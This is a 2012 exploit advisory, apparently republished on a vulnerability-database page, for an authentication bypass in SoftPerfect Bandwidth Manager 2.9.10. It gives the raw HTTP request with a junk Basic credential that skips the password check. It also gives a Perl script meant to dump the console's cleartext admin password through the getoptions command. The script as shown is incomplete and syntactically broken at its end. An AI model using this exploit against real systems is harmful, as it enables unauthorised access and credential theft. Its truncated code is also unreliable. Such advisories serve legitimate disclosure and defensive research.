SoftPerfect Bandwidth Manager 2.9.10 - Authentication Bypass

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1063897 漏洞类型
发布时间 2012-06-22 更新时间 2012-06-22
漏洞平台 Windows CVSS评分 N/A
Authentication Bypass and Password disclosure.

SoftPerfect Bandwidth Manager Authentication Bypass
*Date:* 22-June-2012
*Author:* Gitsnik
*Vendor Homepage:*
*Software Link:*
*Version:* 2.9.10 (probably all up to this version)
*Tested on:* Windows 7 Ultimate, Windows Server 2003, Windows Server 2003

A vulnerability exists in the authentication processing module of the
SoftPerfect Bandwidth Manager. According to the SoftPerfect FAQ page the
system utilises an API consisting of HTTP and XML. Using a packet sniffer
to monitor port 8701 we can see that the initial packet exchange for a
blank password is:

POST / HTTP/1.0Content-Type: text/xmlContent-Length: 100Authorization:
Basic YWRtaW46
<?xml version="1.0" encoding="windows-1252"?><request>

Basic authentication with a username of admin and a blank password.

When this software has no password set, any password seems to authenticate.
This is interesting, but ultimately unusual in a proper environment.

The bug exists in the authentication mechanism. I was initially going to
fuzz the Basic string, only to find that it worked on my first try. Sending
the following to the application will completely bypass any password in
place (note the strong text in the Authorization line):

POST / HTTP/1.0Content-Type: text/xmlContent-Length: 100Authorization:
Basic *AAAA*
<?xml version="1.0" encoding="windows-1252"?><request>

The getoptions command includes dumping a cleartext password from the
database to the connection.
Exploit: Dump the console password with no authentication

#!/usr/bin/env perl

use strict;
use warnings;

my $credentials = "AAAA";

#command: getrules 98
#command: getoptions 100

my $header = "POST / HTTP/1.0\r\n" .
	"Content-Type: text/xml\r\n" .
	"Content-Length: 100\r\n" .
	"Authorization: Basic $credentials\r\n" .
	"\r\n" .
	"<?xml version=\"1.0\" encoding=\"windows-1252\"?>\r\n" .
	"<request>\r\n" .
	"\t<command>getoptions</command>\r\n" .

print $header;